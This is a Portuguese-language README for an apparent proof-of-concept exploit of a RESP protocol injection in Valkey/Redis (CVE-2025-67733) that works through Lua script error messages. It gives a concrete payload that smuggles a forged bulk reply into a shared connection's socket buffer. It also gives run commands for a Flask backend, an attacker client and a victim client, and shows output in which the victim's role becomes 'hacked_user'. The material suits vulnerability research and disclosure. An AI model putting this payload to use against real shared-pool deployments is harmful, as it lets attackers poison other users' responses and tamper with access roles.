
Redis/Valkey RESP Injection PoC (CVE-2025-67733)
Prova de conceito demonstrando vulnerabilidade de Injeção de Protocolo RESP através de mensagens de erro de script Lua no Valkey/Redis.
Backend Flask simulando uma aplicação web com conexão compartilhada Valkey (pool de conexões).
Endpoints:
| Método | Endpoint | Descrição |
|---|---|---|
| POST | /api/user/role | Definir função de usuário |
| GET | /api/user/role | Obter função de usuário |
| POST | /api/process | Executar script Lua |
Uso:
python backend.py <Valkey host> <Valkey port> [password]
# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword
Injeta dados maliciosos RESP no buffer do socket através da mensagem de erro do script Lua.
Payload:
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))
Uso:
python attacker_client.py
Cliente legítimo que define e obtém funções de usuário.
Uso:
python victim_client.py set # Definir função como "normal_user"
python victim_client.py get # Obter função atual
pip install flask requests
Terminal 1 - Iniciar Backend:
python backend.py 127.0.0.1 6379
Terminal 2 - Definir Função:
python victim_client.py set
# Saída: 'role':'normal_user' foi definido.
python victim_client.py get
# Saída: 'role':'normal_user'
Terminal 3 - Ataque:
python attacker_client.py
# Saída: Envenenamento de socket bem-sucedido
Terminal 2 - Obter Função (Após Ataque):
python victim_client.py get
# Saída: 'role':'hacked_user'
1. Vítima define função
victim_client.py set --> Backend --> Valkey
SET user:user:role "normal_user"
2. Atacante injeta payload
attacker_client.py --> Backend --> Valkey
EVAL 'error(...)' 0
Backend lê: "-ERR INJECTED\r\n"
Buffer permanece: "$11\r\nhacked_user"
3. Vítima obtém função
victim_client.py get --> Backend --> Valkey
GET user:user:role
Backend lê do buffer: "$11\r\nhacked_user"
Vítima recebe: "hacked_user"